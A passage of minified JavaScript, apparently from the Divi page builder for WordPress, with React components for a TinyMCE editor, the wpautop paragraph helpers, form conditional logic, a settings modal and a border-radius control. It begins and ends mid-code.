try{window.tinymce.EditorManager.get(this.uuid).focus()}catch(t){setTimeout(function(){return e.focus()},100)}},activateEditor:function(){"tinymce"===this.state.editorMode&&G.default.appWindow().tinyMCE.setActive(this.editor),G.default.appWindow().wpActiveEditor=this.uuid,this.focus()},componentDidUpdate:function(){var e=this;setTimeout(function(){var t=G.default.$topWindow(l.a.findDOMNode(e.refs.tinymce)).parent().find("iframe");if(0!==t.length){var n=t.height(),o=t.contents().find("html");if(o.length>0){var r=o.innerHeight();n<r&&t.height(r)}}},200)},componentDidMount:function(){var t=this;this.props.onModeSwitch(this.state.editorMode);var n=e(l.a.findDOMNode(this.refs.tinymce)).parent().find("iframe"),o=n.attr("id"),r=this.getFrameTargetElement(G.default.topWindow().document.getElementById(o));!1!==r?(G.default.condition("is_bfb")||n.contents().find("head").append("<style type='text/css'> .wpview iframe { max-width: 100% !important; } .wpview { width: auto !important; }</style>"),r.onwheel=function(e){var t,o=n.closest(".et-fb-tabs__panel--active"),r=!1,i=!1;if(t=o.find(".et-fb-form").outerHeight()||0,o.length>0&&(r=o.scrollTop()<1&&e.deltaY<1,i=o.scrollTop()>=t-o.height()&&e.deltaY>=0,r||i))return!1},G.default.$topWindow("#et-fb-"+this.props.name+", #et-fb-"+this.props.name+" *, .et-fb-tinymce-media-buttons a").on("click",function(){t.activateEditor()})):G.default.$topWindow(".et-fb-tinymce-media-buttons a").on("click",function(){t.activateEditor()})}});X.defaultProps={onModeSwitch:j.a,isReactClassApproved:{},name:""},t.a=X}).call(this,n(24))},function(e,t,n){"use strict";
/**
* Automatically add paragraph and break tags.
*
* Sourced from WP-Calypso
* https://github.com/Automattic/wp-calypso.
*
* Adapted from WordPress.
*
* @copyright 2015 by the WordPress contributors.
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
* This program incorporates work covered by the following copyright and
* permission notices:
*
* b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
* http://tidakada.com
*
* Wherever third party code has been used, credit has been given in the code's
* comments.
*
* b2 is released under the GPL
*
* and
*
* WordPress - Web publishing software
*
* Copyright 2003-2010 by the contributors
*
* WordPress is released under the GPL
*
*
* @see wp-admin/js/editor.js
*
* @param {string} pee Html string.
* @returns {string} Html string with HTML paragraphs instead of double line-breaks.
*/t.a={wpautop:function(e){var t="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary",n=!1,o=!1;return-1!==e.indexOf("<object")&&(e=e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/[\r\n]+/g,"")})),-1===(e=e.replace(/<[^<>]+>/g,function(e){return e.replace(/[\r\n]+/g," ")})).indexOf("<pre")&&-1===e.indexOf("<script")||(n=!0,e=e.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(e){return e.replace(/(\r\n|\n)/g,"<wp-line-break>")})),-1!==e.indexOf("[caption")&&(o=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return(e=(e=e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>")).replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g,function(e){return e.replace(/[\r\n\t]+/," ")})).replace(/\s*\n\s*/g,"<wp-temp-br />")})),e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e+="\n\n").replace(/<br \/>\s*<br \/>/gi,"\n\n")).replace(new RegExp("(<(?:"+t+")(?: [^>]*)?>)","gi"),"\n$1")).replace(new RegExp("(</(?:"+t+")>)","gi"),"$1\n\n")).replace(/<hr( [^>]*)?>/gi,"<hr$1>\n\n")).replace(/\s*<option/gi,"<option")).replace(/<\/option>\s*/gi,"</option>")).replace(/\r\n|\r/g,"\n")).replace(/\n\s*\n+/g,"\n\n")).replace(/([\s\S]+?)\n\n/g,"<p>$1</p>\n")).replace(/<p>\s*?<\/p>/gi,"")).replace(new RegExp("<p>\\s*(</?(?:"+t+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/<p>(<li.+?)<\/p>/gi,"$1")).replace(/<p>\s*<blockquote([^>]*)>/gi,"<blockquote$1><p>")).replace(/<\/blockquote>\s*<\/p>/gi,"</p></blockquote>")).replace(new RegExp("<p>\\s*(</?(?:"+t+")(?: [^>]*)?>)","gi"),"$1")).replace(new RegExp("(</?(?:"+t+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/\s*\n/gi,"<br />\n")).replace(new RegExp("(</?(?:"+t+")[^>]*>)\\s*<br />","gi"),"$1")).replace(/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi,"$1")).replace(/(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi,"[caption$1[/caption]")).replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g,function(e,t,n){return n.match(/<p( [^>]*)?>/)?e:t+"<p>"+n+"</p>"}),n&&(e=e.replace(/<wp-line-break>/g,"\n")),o&&(e=e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>")),e},removep:function(e){var t="blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset",n=t+"|div|p",o=t+"|pre",r=!1,i=!1;return e?(-1===e.indexOf("<pre")&&-1===e.indexOf("<script")||(r=!0,e=e.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(e){return(e=(e=e.replace(/<br ?\/?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/\r?\n/g,"<wp-line-break>")})),-1!==e.indexOf("[caption")&&(i=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>").replace(/[\r\n\t]+/,"")})),-1!==(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(new RegExp("\\s*</("+n+")>\\s*","g"),"</$1>\n")).replace(new RegExp("\\s*<((?:"+n+")(?: [^>]*)?)>","g"),"\n<$1>")).replace(/(<p [^>]+>.*?)<\/p>/g,"$1</p#>")).replace(/<div( [^>]*)?>\s*<p>/gi,"<div$1>\n\n")).replace(/\s*<p>/gi,"")).replace(/\s*<\/p>\s*/gi,"\n\n")).replace(/\n[\s\u00a0]+\n/g,"\n\n")).replace(/\s*<br ?\/?>\s*/gi,"\n")).replace(/\s*<div/g,"\n<div")).replace(/<\/div>\s*/g,"</div>\n")).replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,"\n\n[caption$1[/caption]\n\n")).replace(/caption\]\n\n+\[caption/g,"caption]\n\n[caption")).replace(new RegExp("\\s*<((?:"+o+")(?: [^>]*)?)\\s*>","g"),"\n<$1>")).replace(new RegExp("\\s*</("+o+")>\\s*","g"),"</$1>\n")).replace(/<li([^>]*)>/g,"\t<li$1>")).indexOf("<option")&&(e=(e=e.replace(/\s*<option/g,"\n<option")).replace(/\s*<\/select>/g,"\n</select>")),-1!==e.indexOf("<hr")&&(e=e.replace(/\s*<hr( [^>]*)?>\s*/g,"\n\n<hr$1>\n\n")),-1!==e.indexOf("<object")&&(e=e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/[\r\n]+/g,"")})),e=(e=(e=(e=e.replace(/<\/p#>/g,"</p>\n")).replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g,"\n$1")).replace(/^\s+/,"")).replace(/[\s\u00a0]+$/,""),r&&(e=e.replace(/<wp-line-break>/g,"\n")),i&&(e=e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>")),e):""}}},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(242),a=n.n(i),s=(n(22),n(37)),l=n.n(s),u=n(2),c=n.n(u),d=n(46),p=n.n(d),f=n(10),h=n.n(f),m=n(7),g=n.n(m),v=(n(56),n(25)),b=n(40),y=n(51),_=(n(12),n(1424),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),k=a()({displayName:"ETBuilderConditionalLogic",mixins:[l.a],getInitialState:function(){return{options:this.props.value,fieldValues:{},selectedValues:{},moduleType:c()(this,"props.module.props.module.props.type","")}},componentDidMount:function(){var e=this,t=this.props.module.props.module,n=t.parentModule.props.content,o={};n.map(function(n,r){if(n.address!==t.props.address){var i=c()(n,"attrs.field_id","");if(""!==i.trim()){i="et_pb_signup_custom_field"===e.state.moduleType?i:i.toLowerCase();var a=[];if(h()(["checkbox","radio","select"],n.attrs.field_type)){var s=void 0;switch(n.attrs.field_type){case"checkbox":s=n.attrs.checkbox_options;break;case"radio":s=n.attrs.radio_options;break;case"select":s=n.attrs.select_options}0!==(s=""===s||g()(s)?[]:s).length&&(a=(s=JSON.parse(s)).map(function(e){return e.value}))}o[i]=a}}}),this.setState({fieldValues:o}),setTimeout(function(){if(!e.state.options){var t=[],n="";for(var o in e.state.fieldValues)if(e.state.fieldValues.hasOwnProperty(o)){n=o;break}var r=c()(e,["state","fieldValues",n,0]);t.push({field:n,condition:"is",value:r}),e.setState({options:JSON.stringify(t)}),e.updateOptions(0,n),e._updateFrontEnd()}for(var i={},a=JSON.parse(e.state.options),s=0;s<a.length;s++)i[s]=a[s].value;e.setState({selectedValues:i})},0)},updateOptions:function(t,n,o,r,i){var a=this.state.options||"",s=""===a?[]:JSON.parse(a),l="condition"+t,u="value"+t,c="",d="";g()(this[l])||(c=this[l].value),g()(this[u])||(d=this[u].value),!0===o&&(d=g()(this.state.selectedValues[t])?"":this.state.selectedValues[t],h()(["checkbox","radio","select"],r)&&(d=this.state.fieldValues[n][0]));var p={field:n,condition:c,value:d};s[t]=p;var f=e.intentionallyCloneDeep(this.state.selectedValues);!0===i&&(f[t]=d),this.setState({options:JSON.stringify(s),selectedValues:f}),this._updateFrontEnd()},updateSelected:function(e,t){var n=this,o=this.state.options||"",r=""===o?[]:JSON.parse(o),i=t.target.value,a=this.props.module.props.module.parentModule.props.content,s="input";a.map(function(e,t){var o=c()(e,"attrs.field_id","");("et_pb_signup_custom_field"===n.state.moduleType?o:o.toLowerCase())===i&&(s=e.attrs.field_type)}),r[e].field=i,this.setState({options:JSON.stringify(r)}),setTimeout(function(){n.updateOptions(e,i,!0,s)},0)},addRow:function(e,t){t&&t.preventDefault();var n=this,o=this.state.options||"",r=""===o?[]:JSON.parse(o),i="";for(var a in this.state.fieldValues)if(this.state.fieldValues.hasOwnProperty(a)){i=a;break}var s=c()(this,["state","fieldValues",i,0]);!1!==e?r.splice(e+1,0,{field:i,condition:"is",value:s}):r.push({field:i,condition:"is",value:s}),this.setState({options:JSON.stringify(r)}),setTimeout(function(){if(!1!==e)n.updateOptions(e+1,i);else{var t=r.length>0?r.length-1:0;n.updateOptions(t,i)}n._updateFrontEnd()},0)},removeRow:function(e,t){t.preventDefault();var n=this,o=this.state.options||"",r=""===o?[]:JSON.parse(o);if(r.splice(e,1),0===r.length){var i="";for(var a in this.state.fieldValues)if(this.state.fieldValues.hasOwnProperty(a)){i=a;break}r=[{field:i,condition:"is",value:c()(this,["state","fieldValues",i,0])}]}this.setState({options:JSON.stringify(r)}),setTimeout(function(){n._updateFrontEnd()},0)},_fieldSelect:function(e,t){var n=this,o=this,i=this.props.module.props.module,a=i.parentModule.props.content,s="field"+e,l="condition"+e,u="value"+e,d=t.field,p=this.updateOptions.bind(this,e,d);return r.a.createElement("div",{className:"et-fb-settings-conditional-logic",key:e},r.a.createElement("select",{className:"et-fb-settings-option-select et-fb-main-setting",onChange:this.updateSelected.bind(this,e),ref:function(e){return n[s]=e},value:t.field,disabled:this.props.readonly||!1},a.map(function(e,t){if(e.address!==i.props.address){var n=c()(e,"attrs.field_id","");if(""!==n.trim()){n="et_pb_signup_custom_field"===o.state.moduleType?n:n.toLowerCase();var a=c()(ETBuilderBackend,"componentDefinitions.fieldsDefaults.et_pb_contact_field.field_title[0]",""),s=c()(e,"attrs.field_title",""),l=""!==a&&s===a?n:s;if(""!==l.trim())return r.a.createElement("option",{value:n,key:t},l)}}})),r.a.createElement("select",{className:"et-fb-settings-option-select et-fb-main-setting",onChange:p,ref:function(e){return n[l]=e},value:t.condition,disabled:this.props.readonly||!1},r.a.createElement("option",{value:"is"},ETBuilderBackend.i18n.controls.conditionalLogic.is),r.a.createElement("option",{value:"is not"},ETBuilderBackend.i18n.controls.conditionalLogic.isNot),r.a.createElement("option",{value:"is greater"},ETBuilderBackend.i18n.controls.conditionalLogic.isGreater),r.a.createElement("option",{value:"is less"},ETBuilderBackend.i18n.controls.conditionalLogic.isLess),r.a.createElement("option",{value:"contains"},ETBuilderBackend.i18n.controls.conditionalLogic.contains),r.a.createElement("option",{value:"does not contain"},ETBuilderBackend.i18n.controls.conditionalLogic.doesNotContain),r.a.createElement("option",{value:"is empty"},ETBuilderBackend.i18n.controls.conditionalLogic.isEmpty),r.a.createElement("option",{value:"is not empty"},ETBuilderBackend.i18n.controls.conditionalLogic.isNotEmpty)),this._fieldSelectValues(e,d,t.value,u,t.condition))},_fieldSelectValues:function(e,t,n,o,i){var a=this,s=(this.props.module.props.module.parentModule.props.content,this.state.fieldValues[t]);g()(s)&&(s=[],g()(this.state.fieldValues[0])||(s=this.state.fieldValues[0])),g()(n)&&(n="");var l=!!h()(["is empty","is not empty"],i);return 0===s.length?r.a.createElement("input",{className:"et-fb-settings-option-input et-fb-main-setting",type:"text",onChange:this.updateOptions.bind(this,e,t,!1,!1,!0),ref:function(e){return a[o]=e},disabled:l,value:n,readOnly:this.props.readonly||!1}):r.a.createElement("select",{className:"et-fb-settings-option-select et-fb-main-setting",onChange:this.updateOptions.bind(this,e,t),ref:function(e){return a[o]=e},disabled:l,value:n},s.map(function(e,t){return r.a.createElement("option",{value:e,key:t},e)}))},_optionsControls:function(){var e=this,t=this.state.options||"";return(""===t?[]:JSON.parse(t)).map(function(t,n){var o=!e.props.readonly&&!e.props.hideDeleteButton&&r.a.createElement("a",{href:"#",className:"et_options_list_remove",onClick:e.removeRow.bind(e,n)},r.a.createElement(b.a,{icon:"delete",color:"rgb(163, 176, 194)"}));return r.a.createElement("div",{className:"et_options_list_row et_condition_row",key:n},e._fieldSelect(n,t),o)})},render:function(){var e=this.props.additional_attrs?this.props.additional_attrs:{},t=this.addRow.bind(this,!1,!1),n=!this.props.readonly&&!this.props.hideAddButton&&r.a.createElement("span",{className:"et-fb-item-button-wrap--add"},r.a.createElement(v.Motion,{defaultStyle:{size:.5,opacity:0},style:{size:Object(v.spring)(1,{stiffness:300,damping:20}),opacity:Object(v.spring)(1,{stiffness:300,damping:20})}},function(e){return r.a.createElement(y.a,{round:!0,style:{opacity:e.opacity,transform:"scale( "+e.size+" )"},tooltip:ETBuilderBackend.i18n.controls.moduleItem.addNew,_onClick:t},r.a.createElement(b.a,{size:"14",icon:"add",color:"#FFFFFF"}))}));return r.a.createElement("div",{className:"et_options_list"},this._optionsControls(),r.a.createElement("textarea",_({value:this.state.options,name:this.props.name,id:"et-fb-"+this.props.name,onChange:p.a},e)),n)},_updateFrontEnd:function(){var e=this;setTimeout(function(){e.props._onChange(e.props.name,e.state.options,e.props.type)},0)}});t.a=k}).call(this,n(0))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(28),a=n(4),s=n.n(a),l=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var u=function(t){function n(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),l(n,[{key:"render",value:function(){var t=this.props,n=t.children,o=t.connectDragSource,a=t.connectDropTarget,s=t.isDragging,l=r.a.Children.only(n);return r.a.cloneElement(l,{ref:function(t){var n=Object(i.findDOMNode)(t),r=e(n);a(n),o(n),r.addClass("et-fb-draggable-item"),s?r.addClass("et-fb-draggable-item--dragging"):r.removeClass("et-fb-draggable-item--dragging")}})}}]),n}();u.propTypes={connectDragSource:s.a.func.isRequired,connectDropTarget:s.a.func.isRequired,children:s.a.node,isDragging:s.a.bool.isRequired},u.defaultProps={children:r.a.ReactNode},t.a=u}).call(this,n(24))},function(e,t,n){},function(e,t,n){var o=n(111)("find",n(65));o.placeholder=n(103),e.exports=o},function(e,t,n){var o=n(111)("noop",n(46),n(200));o.placeholder=n(103),e.exports=o},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e,o){var r=n(1),i=n.n(r),a=n(4),s=n.n(a),l=n(22),u=n.n(l),c=n(118),d=n(7),p=n.n(d),f=(n(1437),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var h=new c.AllHtmlEntities,m=function(t){function n(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r["Component"]),f(n,[{key:"_openLinkInNewTab",value:function(t){var n=t.target.href;p()(n)||(t.preventDefault(),e.topWindow().open(n,"_blank").focus())}},{key:"componentDidMount",value:function(){this.$warningTag=o(this.warningTag),this.$warningTag.on("click","a",this._openLinkInNewTab)}},{key:"componentWillUnmount",value:function(){this.$warningTag.off("click","a",this._openLinkInNewTab)}},{key:"render",value:function(){var e=this,t={"et-fb-main-settings-option":!0};return this.props.className&&(t[this.props.className]=!0),this.props.value!==this.props.display_if?null:i.a.createElement("div",{className:u()(t),dangerouslySetInnerHTML:{__html:h.decode(this.props.message)},ref:function(t){return e.warningTag=t}})}}]),n}();m.propTypes={display_if:s.a.bool,message:s.a.string,module:s.a.object,name:s.a.string,type:s.a.string,value:s.a.bool},t.a=m}).call(this,n(0),n(24))},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(4),l=n.n(s),u=n(119),c=n.n(u),d=n(15),p=n.n(d),f=n(2),h=n.n(f),m=n(38),g=n.n(m),v=n(59),b=n.n(v),y=n(7),_=n.n(y),k=n(34),w=n.n(k),C=(n(113),n(46)),E=n.n(C),O=n(930),S=n(1297),T=n(40),M=n(817),x=n(1439),P=n(825),j=n(0),L=(n(1440),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var N=function(t){function n(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var o=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,t));return o.setValue=function(e,t){var n=p()({},o.props.values,function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},e,t));o.props.onChange(n)},o.handleSave=function(){o.props.onClose()},o.handleCancel=function(){o.props.onChange(o.state.initialValues),o.props.onClose()},o.maybeClose=function(t){var n=e(a.a.findDOMNode(o));e(t.target).closest(n).length<1&&o.handleSave()},o.state={initialValues:p()({},o.props.values),positioning:null},o}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),L(n,[{key:"updatePositioning",value:function(){var t=e(a.a.findDOMNode(this)),n=t.find(".et-fb-field-settings-modal").first(),o=t.find(".et-fb-field-settings-modal__content").first(),r=parseInt(j.default.$topWindow("#wpadminbar").height())+30,i=j.default.condition("is_bfb")?30:100,s=Object(P.d)(j.default.$topWindow(),t,n,o.height()+40,r,i);g()(this.state.positioning,s)||this.setState({positioning:s})}},{key:"componentDidMount",value:function(){j.default.topWindow().addEventListener("mousedown",this.maybeClose),j.default.appWindow().addEventListener("mousedown",this.maybeClose),e("body").first().addClass("et-fb-dynamic-content-settings-opened"),this.updatePositioning(),c.a.rebuild()}},{key:"componentWillUnmount",value:function(){j.default.topWindow().removeEventListener("mousedown",this.maybeClose),j.default.appWindow().removeEventListener("mousedown",this.maybeClose),e("body").first().removeClass("et-fb-dynamic-content-settings-opened")}},{key:"componentDidUpdate",value:function(){this.updatePositioning()}},{key:"render",value:function(){var e=this,t=new M.a(this.props.values);return r.a.createElement("div",{className:"et-fb-field-settings-modal-root"},r.a.createElement(O.a,{enabled:this.props.animation},function(n){var o=e.state.positioning,i=n;return b()(o)||(i.top=o.position.top,i.maxWidth=o.size.width,i.maxHeight=o.size.height),r.a.createElement("div",{className:"et-fb-field-settings-modal",style:i},r.a.createElement("div",{className:"et-fb-field-settings-modal__container"},r.a.createElement("div",{className:"et-fb-field-settings-modal__scroll et-fb-allow-mouse-wheel"},r.a.createElement("div",{className:"et-fb-field-settings-modal__content"},e.props.title&&r.a.createElement("h4",{className:"et-fb-field-settings-modal__title"},e.props.title),w()(e.props.fields,function(n,o){var i=h()(n,"default","");return _()(e.props.values[o])||(i=e.props.values[o]),r.a.createElement(x.a,{key:o,field:n,fieldName:o,value:i,propertyResolver:t,onChange:e.setValue,animation:e.props.animation})}))),r.a.createElement(S.b,{block:!0},r.a.createElement(S.a,{block:!0,danger:!0,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel,_onClick:e.handleCancel},r.a.createElement(T.a,{icon:"exit",color:"#FFFFFF"})),r.a.createElement(S.a,{block:!0,success:!0,tooltip:ETBuilderBackend.i18n.tooltip.modal.save,_onClick:e.handleSave},r.a.createElement(T.a,{icon:"check",color:"#FFFFFF"})))))}))}}]),n}();N.propTypes={title:l.a.string,fields:l.a.object.isRequired,values:l.a.object.isRequired,onChange:l.a.func,onClose:l.a.func},N.defaultProps={animation:!0,onChange:E.a,onClose:E.a},t.a=N}).call(this,n(24))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(46),l=n.n(s),u=n(818),c=n(817),d=n(1279),p=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},f=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var h=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),f(t,[{key:"render",value:function(){var e=d.a.getControl(this.props.field.type);return Object(u.a)(this.props.field,this.props.propertyResolver)?r.a.createElement("div",{className:"et-fb-field-settings-modal__field"},this.props.field.label&&r.a.createElement("p",{className:"et-fb-form__label"},this.props.field.label),r.a.createElement(e,p({name:this.props.fieldName,value:this.props.value,_onChange:this.props.onChange,processedKey:this.props.fieldName,content:this.props.value,animate:this.props.animation},this.props.field))):null}}]),t}();h.propTypes={field:a.a.object.isRequired,fieldName:a.a.string.isRequired,propertyResolver:a.a.instanceOf(c.a).isRequired,animation:a.a.bool,onChange:a.a.func},h.defaultProps={animation:!0,onChange:l.a},t.a=h},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(1445),l=n.n(s),u=n(22),c=n.n(u),d=n(7),p=n.n(d),f=n(32),h=n.n(f),m=(n(56),n(38)),g=n.n(m),v=n(274),b=n.n(v),y=n(321),_=n.n(y),k=n(272),w=n.n(k),C=n(27),E=n.n(C),O=n(159),S=n.n(O),T=(n(1448),n(2)),M=n.n(T),x=n(40),P=n(51),j=n(0),L=n(1298),N=n(64),D=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var A=function(e,t){return 0===E()(e).length?t:e},F=function(e,t){if(""===e&&!t)return"";var n,o=w()(e,"|"),r=(n=o,Array.isArray(n)?n:Array.from(n)),i=r[0],a=r.slice(1);return[i||"on"].concat(function(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}(a))},I=function(e,t){return b()(_()(F(e),F(t,!0),A),"|")},R=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));t._onCornerChange=S()(function(e,n){var o=j.default.intentionallyCloneDeep(t._getValues());t._lastValue=n,o[e]=n,t.setState({inputValues:o}),t._onChange(e)});var o=I(t.props.value,t._getDefaultValue());return t.state={inputValues:t._splitValue(o)},t._values=t._splitValue(o),t._lastValue="",t._onChange=t._onChange.bind(t),t._onClickLink=t._onClickLink.bind(t),t._onResize=t._onResize.bind(t),t._onTopLeftChange=t._onCornerChange("top-left").bind(t),t._onTopRightChange=t._onCornerChange("top-right").bind(t),t._onBottomLeftChange=t._onCornerChange("bottom-left").bind(t),t._onBottomRightChange=t._onCornerChange("bottom-right").bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),D(n,[{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=""!==e.value||!e.isResponsive&&!e.activeHover||p()(e.default)?e.value:e.default,n=I(t,this._getDefaultValue());this._values=this._splitValue(n),this.setState({inputValues:this._splitValue(n)})}},{key:"shouldComponentUpdate",value:function(e,t){return I(e.value,this._getDefaultValue())!==this.props.value||!g()(this.state.inputValues,t.inputValues)||!(!this.props.isResponsive||this.props.activeTabMode===e.activeTabMode)}},{key:"componentDidMount",value:function(){this._onResize(),this._onChange=this._onChange.bind(this)}},{key:"_onResize",value:function(){var 